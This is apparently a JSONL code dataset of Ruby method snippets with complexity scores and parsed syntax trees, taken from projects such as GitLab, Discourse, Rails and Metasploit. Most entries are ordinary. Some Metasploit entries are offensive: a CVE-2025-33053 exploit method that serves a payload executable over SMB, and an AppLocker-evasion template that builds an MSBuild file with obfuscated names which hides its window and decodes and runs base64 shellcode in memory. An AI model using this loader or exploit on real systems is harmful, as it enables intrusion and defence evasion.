{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/automotive/uds.rb","start_line":358,"raw_source":"def get_freeze_frame_data(bus, src_id, dst_id, pid, frame, opt = {})\n    unless client.automotive\n      print_error(\"Not an automotive hwbridge session\")\n      return {}\n    end\n    src_id = src_id.to_s(16)\n    dst_id = dst_id.to_s(16)\n    bus = client.automotive.active_bus unless bus\n    pid = pid.to_s(16)\n    frame = frame.to_s(16)\n    unless bus\n      print_line(\"No active bus, use 'connect' or specify bus via the options\")\n      return {}\n    end\n    client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x02, pid, frame], opt)\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_freeze_frame_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bus\"]},{\"type\":\"arg\",\"children\":[\"src_id\"]},{\"type\":\"arg\",\"children\":[\"dst_id\"]},{\"type\":\"arg\",\"children\":[\"pid\"]},{\"type\":\"arg\",\"children\":[\"frame\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not an automotive hwbridge session\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dst_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst_id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bus\"]},null,{\"type\":\"lvasgn\",\"children\":[\"bus\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"active_bus\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"frame\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bus\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"No active bus, use 'connect' or specify bus via the options\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"send_isotp_and_wait_for_response\",{\"type\":\"lvar\",\"children\":[\"bus\"]},{\"type\":\"lvar\",\"children\":[\"src_id\"]},{\"type\":\"lvar\",\"children\":[\"dst_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"pid\"]},{\"type\":\"lvar\",\"children\":[\"frame\"]}]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]}]}","id":"368c3303-1576-43b9-b960-8a73626e3b38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":1127,"raw_source":"def lock_tables(*tables, mode: :access_exclusive, only: nil, nowait: nil)\n        only_param = only && 'ONLY'\n        nowait_param = nowait && 'NOWAIT'\n        tables_param = tables.map { |t| quote_table_name(t) }.join(', ')\n        mode_param = mode.to_s.upcase.tr('_', ' ')\n\n        execute(<<~SQL.squish)\n          LOCK TABLE #{only_param} #{tables_param} IN #{mode_param} MODE #{nowait_param}\n        SQL\n      end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_tables\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"tables\"]},{\"type\":\"kwoptarg\",\"children\":[\"mode\",{\"type\":\"sym\",\"children\":[\"access_exclusive\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"only\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"nowait\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"only_param\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only\"]},{\"type\":\"str\",\"children\":[\"ONLY\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nowait_param\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowait\"]},{\"type\":\"str\",\"children\":[\"NOWAIT\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tables_param\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mode_param\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"to_s\"]},\"upcase\"]},\"tr\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOCK TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only_param\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables_param\"]}]},{\"type\":\"str\",\"children\":[\" IN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode_param\"]}]},{\"type\":\"str\",\"children\":[\" MODE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowait_param\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"squish\"]}]}]}]}","id":"ef5d8736-5e57-4d1e-aacb-80afc6743120"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/generic_database.rb","start_line":278,"raw_source":"def fetch_posts(last_row_id)\n      rows = @db.execute(<<-SQL, last_row_id)\n        SELECT ROWID AS rowid, *\n        FROM post\n        WHERE ROWID > :last_row_id\n        ORDER BY ROWID\n        LIMIT #{@batch_size}\n      SQL\n\n      add_last_column_value(rows, \"rowid\")\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_posts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"last_row_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT ROWID AS rowid, *\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM post\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE ROWID > :last_row_id\\n\"]},{\"type\":\"str\",\"children\":[\"        ORDER BY ROWID\\n\"]},{\"type\":\"str\",\"children\":[\"        LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@batch_size\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"last_row_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_last_column_value\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"rowid\"]}]}]}]}","id":"1ddea9d7-da5f-4810-b324-3bb8939757eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/unc_url_cve_2025_33053.rb","start_line":64,"raw_source":"def exploit_remote_load\n    start_service\n    print_status('The SMB service has been started.')\n\n    self.file_contents = generate_payload_exe\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_remote_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_service\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The SMB service has been started.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_contents=\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]}]}]}","id":"cf518df0-0a91-4bcb-a48c-e474f3402085"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/catalog/resources/versions_resolver.rb","start_line":26,"raw_source":"def fetch_catalog_resources_versions\n            BatchLoader::GraphQL.for(catalog_resource).batch(default_value: []) do |catalog_resources, loader|\n              versions = ::Ci::Catalog::Resources::Version.versions_for_catalog_resources(catalog_resources)\n\n              versions.group_by(&:catalog_resource).each do |catalog_resource, resource_versions|\n                loader.call(catalog_resource, resource_versions)\n              end\n            end\n          end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_catalog_resources_versions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"GraphQL\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"catalog_resource\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"catalog_resources\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"versions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Catalog\"]},\"Resources\"]},\"Version\"]},\"versions_for_catalog_resources\",{\"type\":\"lvar\",\"children\":[\"catalog_resources\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"versions\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"catalog_resource\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"catalog_resource\"]},{\"type\":\"arg\",\"children\":[\"resource_versions\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"catalog_resource\"]},{\"type\":\"lvar\",\"children\":[\"resource_versions\"]}]}]}]}]}]}","id":"8f55045c-81e6-4d73-8f48-450ed55b987d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table_parser.rb","start_line":67,"raw_source":"def columns(work_packages_data)\n      work_packages_data.first[:row].keys.map { |key| Column.for(key) }\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages_data\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"row\"]}]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Column\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"05943f90-b834-41c7-bd4b-bb0ac5940aee"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120514144549_add_reply_count_to_posts.rb","start_line":4,"raw_source":"def up\n    add_column :posts, :reply_count, :integer, null: false, default: 0\n\n    execute \"UPDATE posts\n             SET reply_count = (SELECT count(*) FROM posts AS p2 WHERE p2.reply_to_post_number = posts.post_number)\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"reply_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE posts\\n\"]},{\"type\":\"str\",\"children\":[\"             SET reply_count = (SELECT count(*) FROM posts AS p2 WHERE p2.reply_to_post_number = posts.post_number)\"]}]}]}]}]}","id":"100f70d6-0b64-4cca-a57b-ca2cacf82017"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250404151331_backfill_ci_job_live_trace_application_setting.rb","start_line":25,"raw_source":"def feature_flag_enabled?\n    sql = <<~SQL\n    SELECT 1\n    FROM feature_gates\n    WHERE feature_key = 'ci_enable_live_trace'\n    AND value = 'true'\n    LIMIT 1;\n    SQL\n\n    result = execute(sql)\n\n    # avoiding ActiveRecord::Base.connection and using a sql query\n    # PG::Result responds to #ntuples, which is the number of rows returned\n    result.ntuples > 0\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_flag_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"FROM feature_gates\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE feature_key = 'ci_enable_live_trace'\\n\"]},{\"type\":\"str\",\"children\":[\"AND value = 'true'\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT 1;\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"ntuples\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"110e5532-1ae0-4834-b275-482bb796aa8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/schedule_deletion_service.rb","start_line":24,"raw_source":"def schedule_deletion\n      schedule = Members::DeletionSchedule.new(\n        namespace: root_namespace,\n        user_id: user_id,\n        scheduled_by: scheduled_by\n      )\n\n      return error(schedule.errors.full_messages) unless schedule.save\n\n      success(deletion_schedule: schedule)\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_deletion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schedule\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"DeletionSchedule\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"root_namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheduled_by\"]},{\"type\":\"send\",\"children\":[null,\"scheduled_by\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule\"]},\"save\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deletion_schedule\"]},{\"type\":\"lvar\",\"children\":[\"schedule\"]}]}]}]}]}]}","id":"b3a0361b-4f4c-47a0-9482-202b595df9c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gon_helper.rb","start_line":144,"raw_source":"def push_namespace_setting(key, object)\n      return unless object&.namespace_settings.respond_to?(key)\n\n      gon.push({ key => object.namespace_settings.public_send(key) }) # rubocop:disable GitlabSecurity/PublicSend\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"push_namespace_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"namespace_settings\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gon\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"namespace_settings\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"19be615e-ed57-4d5a-8ba8-ebb74f15045c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/file_importer.rb","start_line":93,"raw_source":"def remote_download_or_download_or_copy_upload\n        import_export_upload = @importable.import_export_upload_by_user(@user)\n\n        if import_export_upload.nil?\n          raise ImporterError,\n            \"Missing import file for #{@importable.class.name} #{@importable.id} and user #{@user.id}. \" \\\n              \"#{@importable.class.name} has #{@importable.import_export_uploads.count} other file(s).\"\n        end\n\n        if import_export_upload.remote_import_url.present?\n          download(\n            import_export_upload.remote_import_url,\n            @archive_file,\n            size_limit: file_size_limit\n          )\n        else\n          download_or_copy_upload(\n            import_export_upload.import_file,\n            @archive_file,\n            size_limit: file_size_limit\n          )\n        end\n      end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_download_or_download_or_copy_upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"import_export_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"import_export_upload_by_user\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ImporterError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing import file for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" and user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" has \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"import_export_uploads\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" other file(s).\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"remote_import_url\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"download\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"remote_import_url\"]},{\"type\":\"ivar\",\"children\":[\"@archive_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size_limit\"]},{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"download_or_copy_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"import_file\"]},{\"type\":\"ivar\",\"children\":[\"@archive_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size_limit\"]},{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]}]}]}]}]}","id":"3c978754-020c-437f-b5b5-8be628c1e1bc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/message_interaction_serializer.rb","start_line":11,"raw_source":"def channel\n      { id: object.message.chat_channel.id, title: object.message.chat_channel.title(scope.user) }\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"channel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"message\"]},\"chat_channel\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"message\"]},\"chat_channel\"]},\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"user\"]}]}]}]}]}","id":"ad449051-fc2d-4d2c-9cbf-08eb2f253b2f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/email/from_builder.rb","start_line":44,"raw_source":"def forwarding_with_own_smtp?\n    !channel.imap_enabled && channel.smtp_enabled\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"forwarding_with_own_smtp?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"imap_enabled\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"smtp_enabled\"]}]}]}","id":"90fc16be-1ab3-4cb5-b980-20f7aa087cfc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb","start_line":352,"raw_source":"def get_method_for_string(str)\n              \"#{prefix}#{str}_#{suffix}\"\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_method_for_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suffix\"]}]}]}]}","id":"652c98b9-5a2a-41bc-8076-fe8a4e427b45"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/evasion/windows/applocker_evasion_msbuild.rb","start_line":46,"raw_source":"def msbuild\n    esc = build_payload\n    mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]\n    <<~HEREDOC\n      <Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n      <Target Name=\"#{mod[0]}\">\n      <#{mod[1]} />\n      </Target>\n      <UsingTask\n      TaskName=\"#{mod[1]}\"\n      TaskFactory=\"CodeTaskFactory\"\n      AssemblyFile=\"C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll\" >\n      <Task>\n      <Code Type=\"Class\" Language=\"cs\">\n      <![CDATA[\n      using System;\n      using System.Runtime.InteropServices;\n      using Microsoft.Build.Framework;\n      using Microsoft.Build.Utilities;\n      public class #{mod[1]} :  Task, ITask\n      {\n      private static Int32 #{mod[2]}=0x1000;\n      private static IntPtr #{mod[3]}=(IntPtr)0x40;\n      private static UInt32 #{mod[4]} = 0xFFFFFFFF;\n      [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n      private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);\n      [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n      private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);\n      [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n      private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);\n      [System.Runtime.InteropServices.DllImport(\"user32.dll\")]\n      static extern bool ShowWindow(IntPtr #{mod[5]}, int nCmdShow);\n      [System.Runtime.InteropServices.DllImport(\"Kernel32\")]\n      private static extern IntPtr GetConsoleWindow();\n      const int #{mod[6]} = 0;\n      public override bool Execute()\n      {\n      IntPtr #{mod[5]};\n      #{mod[5]} = GetConsoleWindow();\n      ShowWindow(#{mod[5]}, #{mod[6]});\n      string #{mod[7]} = \"#{esc}\";\n      byte[] #{mod[8]} = Convert.FromBase64String(#{mod[7]});\n      byte[] #{mod[9]} = #{mod[8]};\n      IntPtr #{mod[10]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[9]}.Length, #{mod[2]}, #{mod[3]});\n      System.Runtime.InteropServices.Marshal.Copy(#{mod[9]}, 0, #{mod[10]}, #{mod[9]}.Length);\n      IntPtr #{mod[11]} = IntPtr.Zero;\n      WaitForSingleObject(CreateThread(#{mod[11]}, UIntPtr.Zero, #{mod[10]}, #{mod[11]}, 0, ref #{mod[11]}), #{mod[4]});\n      return true;\n      }\n      }\n      ]]>\n      </Code>\n      </Task>\n      </UsingTask>\n      </Project>\n    HEREDOC\n  end","complexity_score":55.0,"ast_json":"{\"type\":\"def\",\"children\":[\"msbuild\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"esc\",{\"type\":\"send\",\"children\":[null,\"build_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]},{\"type\":\"send\",\"children\":[null,\"obfu\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<Project ToolsVersion=\\\"4.0\\\" 